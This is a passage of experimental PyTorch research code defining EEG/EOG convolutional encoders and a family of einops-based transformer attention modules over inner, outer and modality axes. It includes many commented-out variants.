nn.AvgPool2d(kernel_size=(1, 28)) def forward(self, x): x = self.conv(x) x_shape = x.shape x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_shape) x = self.att1(x) # x = self.att1_1(x) x = self.interm_conv_0(x) # x_shape = x.shape x = self.att2(x) # x = self.att2_1(x) x = self.interm_conv_1(x) # x_shape = x.shape x = self.att3(x) # x = self.att3_1(x) x = self.avg(x) return x class EEG_Encoder_best_2d(nn.Module): def __init__(self, dec, _): super().__init__() self.conv = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 1, 1)), nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.AvgPool2d((1, 46)) #56 ) # import random # self.rands = random.sample(range(8), 8) def forward(self, x): # temp1 = copy.deepcopy(x[:,:,1,:]) # temp3 = copy.deepcopy(x[:,:,3,:]) # x[:, :, 1, :] = x[:,:,4,:] # x[:, :, 3, :] = x[:,:,6,:] # x[:, :, 4, :] = temp1 # x[:, :, 6, :] = temp3 return self.conv(x) class EEG_Encoder_best_SEDF_1(nn.Module): def __init__(self, dec, _): super().__init__() size = 64 self.conv_0_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_0_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_1_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_1_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_2_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d( size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_2_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d( size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_0 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d( 1, 1, kernel_size=(3, 5), stride=(1, 1)), nn.ReLU(), ) self.conv_1 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)), nn.ReLU(), ) self.conv_2 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)), nn.ReLU(), ) self.conv_3 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), ) self.avg = nn.AvgPool2d((1,187)) def forward(self, x): x_shape = x[0].shape flag_seqtoseq = False if len(x_shape)>4: flag_seqtoseq = True for i in range(len(x)): x[i] = x[i].flatten(start_dim=0, end_dim=1) xeeg = x[0] xeog = x[1] x = self.conv_0(torch.cat([xeeg, xeog], dim=2)) xeeg = self.conv_0_eeg(torch.cat([xeeg[:,:,0,:].unsqueeze(dim=2), x, xeeg[:,:,1,:].unsqueeze(dim=2)], dim=2)) xeog = self.conv_0_eog(torch.cat([xeog, x], dim=2)) x = self.conv_1(torch.cat([xeeg, xeog], dim=2)) xeeg = self.conv_1_eeg(torch.cat([xeeg[:,:,0,:].unsqueeze(dim=2), x, xeeg[:,:,1,:].unsqueeze(dim=2)], dim=2)) xeog = self.conv_1_eog(torch.cat([xeog, x], dim=2)) x = self.conv_2(torch.cat([xeeg, xeog], dim=2)) xeeg = self.conv_2_eeg(torch.cat([xeeg[:, :, 0, :].unsqueeze(dim=2), x, xeeg[:, :, 1, :].unsqueeze(dim=2)], dim=2)) xeog = self.conv_2_eog(torch.cat([xeog, x], dim=2)) x = self.conv_3(torch.cat([xeeg, xeog], dim=2)) x = torch.cat([xeeg,x,xeog],dim=2) x = self.avg(x) if flag_seqtoseq: x = x.view([x_shape[0], x_shape[1], -1]) else: x = x.view([x_shape[0],-1]) return x class EEG_Encoder_best_SEDF_2(nn.Module): def __init__(self, dec, _): super().__init__() size = 64 self.conv_0_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_0_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_1_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_1_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_2_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d( size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_2_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d( size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_1 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)), nn.ReLU(), ) self.conv_2 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)), nn.ReLU(), ) self.conv_3 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), ) self.avg = nn.AvgPool2d((1,187)) def forward(self, x): x_shape = x[0].shape flag_seqtoseq = False if len(x_shape)>4: flag_seqtoseq = True for i in range(len(x)): x[i] = x[i].flatten(start_dim=0, end_dim=1) xeeg = x[0] xeog = x[1] xeeg = self.conv_0_eeg(xeeg) xeog = self.conv_0_eog(xeog) x = self.conv_1(torch.cat([xeeg, xeog], dim=2)) xeeg = self.conv_1_eeg(torch.cat([xeeg[:,:,0,:].unsqueeze(dim=2), x, xeeg[:,:,1,:].unsqueeze(dim=2)], dim=2)) xeog = self.conv_1_eog(torch.cat([xeog, x], dim=2)) x = self.conv_2(torch.cat([xeeg, xeog], dim=2)) xeeg = self.conv_2_eeg(torch.cat([xeeg[:, :, 0, :].unsqueeze(dim=2), x, xeeg[:, :, 1, :].unsqueeze(dim=2)], dim=2)) xeog = self.conv_2_eog(torch.cat([xeog, x], dim=2)) x = self.conv_3(torch.cat([xeeg, xeog], dim=2)) x = torch.cat([xeeg,x,xeog],dim=2) x = self.avg(x) if flag_seqtoseq: x = x.view([x_shape[0], x_shape[1], -1]) else: x = x.view([x_shape[0],-1]) return x class EEG_TransferTransformer(nn.Module): def __init__(self, dec, transformer_type): super().__init__() dmodel = 128 # # self.latent = nn.Parameter(torch.randn(16, 8, dmodel)) # # self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel)) # self.pos_inner = PositionalEncoder(d_model=dmodel, same_time_step=1) # self.pos_inner_mod = PositionalEncoder(d_model=dmodel, same_time_step=1) # # transformer_type = globals()[transformer_type] modalities = 1 # enc = nn.TransformerEncoderLayer(dmodel, nhead=8) # self.inner_att = nn.TransformerEncoder(enc,3) # # enc_mod = nn.TransformerEncoderLayer(dmodel, nhead=8) # self.inner_mod_att = nn.TransformerEncoder(enc_mod,3) # # self.inner_att = nn.GRU(dmodel,dmodel,num_layers=3) # # self.pos_outer = PositionalEncoder(d_model=dmodel*modalities, same_time_step=1) # enc_outer = nn.TransformerEncoderLayer(dmodel*modalities, nhead=8) # self.outer_att = nn.TransformerEncoder(enc_outer,3) # # self.outer_att = nn.GRU(dmodel*modalities,dmodel*modalities,num_layers=3) # self.avg = nn.AvgPool2d((1,20)) # self.att = Attention(dmodel) # self.mod_att = Attention(dmodel) self.tf1 = Multi_Transformer(dmodel, inner= 20, outer = 21, modalities=8, heads=8, layers = [ "fourier_pos", "inner_mod_att","aggregation_att_contx_inner", "fourier_pos", "outer_att"], num_layers=4, pos = False) # self.tf2 = Multi_Transformer(dmodel,modalities=1, heads=23, layers=3, pos = True) # self.tf3 = Multi_Transformer(dmodel,modalities=1, heads=23, layers=3, pos = True) def forward(self, x): # x = torch.einsum("ijkmn->ijmkn", x) x_shape = x.shape b, outer, inner, modalities = x_shape[0], x_shape[1], x_shape[2], x_shape[3] # print(x.shape) x = self.tf1(x) # x = self.tf2(x) # x = self.tf3(x) # x = einops.rearrange(x,"b outer inner mod k->inner (b outer mod) k" ) # w = self.att(x) # x = torch.einsum("ijk,jmi -> mjk", x, w) # x = einops.rearrange(x,"inner (b outer mod) k-> outer (b inner mod) k",b=b, outer=outer, mod=modalities) # x = self.outer_att(x) # x = einops.rearrange(x,"outer (b mod) k->b outer (mod k)",b=b, mod=modalities ) # x = einops.rearrange(x,"b outer inner mod k->(outer inner mod) b k") # x = self.outer_att(x) # x = einops.rearrange(x,"(outer inner mod) b k->b outer (inner mod k)", mod=modalities, inner =inner, outer=outer ) # x_shape = x.shape # if (len(x_shape)>3): # x = x.flatten(start_dim=0,end_dim=2) # x = self.pos_inner(x).permute(1,0,2) # # x = x.permute(1,0,2) # # # xeog = self.conv_eog(xeog) # # x = torch.cat([xeeg,xeog],dim=2) # # x = self.pos(x.flatten(start_dim=2).permute(0, 2, 1)).permute(0, 2, 1).view(x_inner_shape) # print(x.shape) # # x = self.inner_att(x) # w = self.att(x) # x = torch.einsum("ijk,jmi -> mjk",x,w) # x = x.view([x_shape[0]*x_shape[1],x_shape[2], -1]) # # x = self.pos_inner_mod(x).permute(1,0,2) # # x = self.inner_mod_att(x) # w = self.mod_att(x) # x = torch.einsum("ijk,jmi -> mjk",x,w) # # # print(x.shape) # x = x.permute(1,2,0) # # x = self.avg(x)# average pooling # x = x.view([x_shape[0], x_shape[1], -1]) # x = self.pos_outer(x.permute(1,0,2)).permute(1,0,2) # # x = x.permute(1,0,2).permute(1,0,2) # x = self.outer_att(x) # # print(x.shape) # # x = self.avg(x).flatten(start_dim=1) # # x = x.view([x_shape[0],x_shape[1], -1]).permute(1,0,2) # # x = self.outer_att(x).permute(1,0,2).unsqueeze(dim=2) return x class inner_mod_att(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_inner = PositionalEncoder(d_model=dmodel) self.pos_mod = PositionalEncoder(d_model=dmodel) enc = nn.TransformerEncoderLayer(dmodel, nhead=heads) self.inner_tf = nn.TransformerEncoder(enc, num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x, "b outer inner mod k -> (inner mod) (b outer) k") if self.pos: x = einops.rearrange(x, "(inner mod) (b outer) k -> inner (b outer mod) k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner) x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner) x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "mod (b outer inner) k -> (inner mod) (b outer) k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner) x = self.inner_tf(x) x = einops.rearrange(x, "(inner mod) (b outer) k -> b outer inner mod k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner) return x class inner_outer_cross_att(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_inner = PositionalEncoder(d_model=dmodel) self.pos_mod = PositionalEncoder(d_model=dmodel) self.num_layers = num_layers for i in range(num_layers): setattr(self, "outter_inner_cross_att_{}".format(i), MyViLBERT(dmodel, nheads=heads)) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] if self.pos: x = einops.rearrange(x, "b outer inner mod k -> inner (b outer mod) k") x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod) x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "mod (b outer inner) k -> outer (b inner mod) k", outer=self.outer) x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "outer (b inner mod) k -> b outer inner mod k", mod=self.mod, inner=self.inner, b = self.b) x = einops.rearrange(x, "b outer inner mod k -> (outer inner) mod b k") x0 = x[:,0,:,:] x1 = x[:,1,:,:] for i in range(self.num_layers): layer = getattr(self, "outter_inner_cross_att_{}".format(i)) x0, x1 = layer(x0, x1) x0 = einops.rearrange(x0, "(outer inner mod) b k -> (outer inner) mod b k", outer=self.outer, inner=self.inner, mod=1) x1 = einops.rearrange(x1, "(outer inner mod) b k -> (outer inner) mod b k", outer=self.outer, inner=self.inner, mod=1) x = torch.cat([x0,x1], dim=1) x = einops.rearrange(x, "(outer inner) mod b k -> b outer inner mod k", outer=self.outer, mod=self.mod, b=self.batch) return x class inner_cross_att(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_inner = PositionalEncoder(d_model=dmodel) self.pos_mod = PositionalEncoder(d_model=dmodel) self.num_layers = num_layers for i in range(num_layers): setattr(self, "inner_cross_att_{}".format(i), MyViLBERT(dmodel, nheads=heads)) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] if self.pos: x = einops.rearrange(x, "b outer inner mod k -> inner (b outer mod) k") x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod) x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "mod (b outer inner) k -> outer (b inner mod) k", outer=self.outer) x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "outer (b inner mod) k -> b outer inner mod k", mod=self.mod, inner=self.inner, b = self.b) x = einops.rearrange(x, "b outer inner mod k -> inner mod (outer b) k") x0 = x[:,0,:,:] x1 = x[:,1,:,:] for i in range(self.num_layers): layer = getattr(self, "inner_cross_att_{}".format(i)) x0, x1 = layer(x0, x1) x0 = einops.rearrange(x0, "(inner mod) b k -> inner mod b k", inner=self.inner, mod=1) x1 = einops.rearrange(x1, "(inner mod) b k -> inner mod b k", inner=self.inner, mod=1) x = torch.cat([x0,x1], dim=1) x = einops.rearrange(x, "inner mod (outer b) k -> b outer inner mod k", outer=self.outer, mod=self.mod, b=self.batch) return x class outer_cross_att(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_outer = PositionalEncoder(d_model=dmodel) self.pos_mod = PositionalEncoder(d_model=dmodel) self.num_layers = num_layers for i in range(num_layers): setattr(self, "outter_cross_att_{}".format(i), MyViLBERT(dmodel, nheads=heads)) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] if self.pos: x = einops.rearrange(x, "b outer inner mod k -> outer (b outer mod) k") x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod) x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "mod (b outer inner) k -> outer (b inner mod) k", outer=self.outer) x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "outer (b inner mod) k -> b outer inner mod k", mod=self.mod, inner=self.inner, b=self.b) x = einops.rearrange(x, "b outer inner mod k -> outer mod (inner b) k") x0 = x[:, 0, :, :] x1 = x[:, 1, :, :] for i in range(self.num_layers): layer = getattr(self, "outter_cross_att_{}".format(i)) x0, x1 = layer(x0, x1) x0 = einops.rearrange(x0, "(outer mod) b k -> outer mod b k", outer=self.outer, mod=1) x1 = einops.rearrange(x1, "(outer mod) b k -> outer mod b k", outer=self.outer, mod=1) x = torch.cat([x0, x1], dim=1) x = einops.rearrange(x, "outer mod (inner b) k -> b outer inner mod k", inner=self.inner, mod=self.mod, b=self.batch) return x class inner_mod_outer_att(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_inner = PositionalEncoder(d_model=dmodel) self.pos_mod = PositionalEncoder(d_model=dmodel) enc = nn.TransformerEncoderLayer(dmodel, nhead=heads) self.all_tf = nn.TransformerEncoder(enc, num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] if self.pos: x = einops.rearrange(x, "b outer inner mod k -> inner (b outer mod) k") x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod) x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "mod (b outer inner) k -> outer (b inner mod) k", outer=self.outer) x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "outer (b inner mod) k -> b outer inner mod k", mod=self.mod, inner=self.inner, b = self.b) x = einops.rearrange(x, "b outer inner mod k -> (outer inner mod) b k") x = self.all_tf(x) x = einops.rearrange(x, "(outer inner mod) b k -> b outer inner mod k", outer=self.outer, mod=self.mod, b=self.batch) return x class outer_mod_att(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_inner = PositionalEncoder(d_model=dmodel) self.pos_mod = PositionalEncoder(d_model=dmodel) enc = nn.TransformerEncoderLayer(dmodel, nhead=heads) self.all_tf = nn.TransformerEncoder(enc, num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] if self.pos: x = einops.rearrange(x, "b outer inner mod k -> inner (outer mod b) k") x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "inner (b outer mod) k -> mod (b outer inner) k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner) x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "mod (b outer inner) k -> outer (b inner mod) k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner) x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = einops.rearrange(x, "outer (inner mod b) k -> b outer inner mod k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner) x = einops.rearrange(x, "b outer inner mod k -> (outer mod) (b inner) k") x = self.all_tf(x) x = einops.rearrange(x, "(outer mod) (b inner) k -> b outer inner mod k", mod=self.mod, outer = self.outer, b=self.batch, inner = self.inner) return x class inner_att(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_inner = PositionalEncoder(d_model=dmodel) enc = nn.TransformerEncoderLayer(dmodel, nhead=heads, dim_feedforward=1024) self.inner_tf = nn.TransformerEncoder(enc, num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x, "b outer inner mod k -> inner (b mod outer) k") if self.pos: x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.inner_tf(x) x = einops.rearrange(x, "inner (b mod outer) k -> b outer inner mod k", outer=self.outer, mod=self.mod, b=self.batch) return x class inner_att_mod(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_inner = PositionalEncoder(d_model=dmodel*modalities) enc = nn.TransformerEncoderLayer(dmodel*modalities, nhead=heads) self.inner_tf = nn.TransformerEncoder(enc, num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x, "b outer inner mod k -> inner (b outer) (mod k)") if self.pos: x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.inner_tf(x) x = einops.rearrange(x, "inner (b outer) (mod k) -> b outer inner mod k", outer=self.outer, mod=self.mod, b=self.batch) return x class inner_att_outer(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_inner = PositionalEncoder(d_model=dmodel*outer) enc = nn.TransformerEncoderLayer(dmodel*outer, nhead=heads) self.inner_tf = nn.TransformerEncoder(enc, num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x, "b outer inner mod k -> inner (mod b) (outer k)") if self.pos: x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.inner_tf(x) x = einops.rearrange(x, "inner (mod b) (outer k) -> b outer inner mod k", outer=self.outer, mod=self.mod, b=self.batch) return x class inner_att_mod_outer(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_inner = PositionalEncoder(d_model=dmodel*modalities*outer) enc = nn.TransformerEncoderLayer(dmodel*modalities*outer, nhead=heads) self.inner_tf = nn.TransformerEncoder(enc, num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x, "b outer inner mod k -> inner b (outer mod k)") if self.pos: x = self.pos_inner(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.inner_tf(x) x = einops.rearrange(x, " inner b (outer mod k) -> b outer inner mod k", outer=self.outer, mod=self.mod, b=self.batch) return x class mod_att(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_mod = PositionalEncoder(d_model=dmodel) enc_mod = nn.TransformerEncoderLayer(dmodel, nhead=heads) self.inner_mod_tf = nn.TransformerEncoder(enc_mod,num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x, "b outer inner mod k -> mod (inner outer b) k") if self.pos: x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.inner_mod_tf(x) x = einops.rearrange(x, "mod (inner outer b) k-> b outer inner mod k", outer=self.outer, inner=self.inner, b=self.batch) return x class mod_att_inner(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_mod = PositionalEncoder(d_model=dmodel*inner) enc_mod = nn.TransformerEncoderLayer(dmodel*inner, nhead=heads) self.inner_mod_tf = nn.TransformerEncoder(enc_mod,num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x, "b outer inner mod k -> mod (outer b) (inner k)") if self.pos: x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.inner_mod_tf(x) x = einops.rearrange(x, " mod (outer b) (inner k)-> b outer inner mod k", outer=self.outer, inner=self.inner, b=self.batch) return x class mod_att_outer(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_mod = PositionalEncoder(d_model=dmodel*outer) enc_mod = nn.TransformerEncoderLayer(dmodel*outer, nhead=heads) self.inner_mod_tf = nn.TransformerEncoder(enc_mod,num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x, "b outer inner mod k -> mod (inner b) (outer k)") if self.pos: x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.inner_mod_tf(x) x = einops.rearrange(x, "mod (inner b) (outer k)-> b outer inner mod k", outer=self.outer, inner=self.inner, b=self.batch) return x class mod_att_inner_outer(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_mod = PositionalEncoder(d_model=dmodel*inner*outer) enc_mod = nn.TransformerEncoderLayer(dmodel*inner*outer, nhead=heads) self.inner_mod_tf = nn.TransformerEncoder(enc_mod,num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x, "b outer inner mod k -> mod b (inner outer k)") if self.pos: x = self.pos_mod(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.inner_mod_tf(x) x = einops.rearrange(x, "mod b (inner outer k)-> b outer inner mod k", outer=self.outer, inner=self.inner, b=self.batch) return x class outer_att(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_outer = PositionalEncoder(d_model=dmodel) enc_outer = nn.TransformerEncoderLayer(dmodel, nhead=heads, dim_feedforward=1024) self.outer_tf = nn.TransformerEncoder(enc_outer,num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> outer (b inner mod) k") if self.pos: x = self.pos_outer(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.outer_tf(x) x = einops.rearrange(x,"outer (b inner mod) k-> b outer inner mod k", mod =self.mod, inner =self.inner, b=self.batch) return x class outer_att_mod(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_outer = PositionalEncoder(d_model=dmodel*modalities) enc_outer = nn.TransformerEncoderLayer(dmodel*modalities, nhead=heads) self.outer_tf = nn.TransformerEncoder(enc_outer,num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> outer (b inner) (mod k)") if self.pos: x = self.pos_outer(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.outer_tf(x) x = einops.rearrange(x,"outer (b inner) (mod k)-> b outer inner mod k", mod =self.mod, inner =self.inner, b=self.batch) return x class outer_att_inner(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_outer = PositionalEncoder(d_model=dmodel*inner) enc_outer = nn.TransformerEncoderLayer(dmodel*inner, nhead=heads) self.outer_tf = nn.TransformerEncoder(enc_outer,num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> outer (b mod) (inner k)") if self.pos: x = self.pos_outer(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.outer_tf(x) x = einops.rearrange(x,"outer (b mod) (inner k)-> b outer inner mod k", mod =self.mod, inner =self.inner, b=self.batch) return x class outer_att_inner_mod(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = pos if pos: self.pos_outer = PositionalEncoder(d_model=dmodel*inner*modalities) enc_outer = nn.TransformerEncoderLayer(dmodel*inner*modalities, nhead=heads) self.outer_tf = nn.TransformerEncoder(enc_outer,num_layers) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> outer b (inner mod k)") if self.pos: x = self.pos_outer(x.permute(1, 0, 2)).permute(1, 0, 2) x = self.outer_tf(x) x = einops.rearrange(x,"outer b (inner mod k) -> b outer inner mod k", mod =self.mod, inner =self.inner, b=self.batch) return x class aggregation_att_outer(nn.Module): def __init__(self, dmodel, pos, 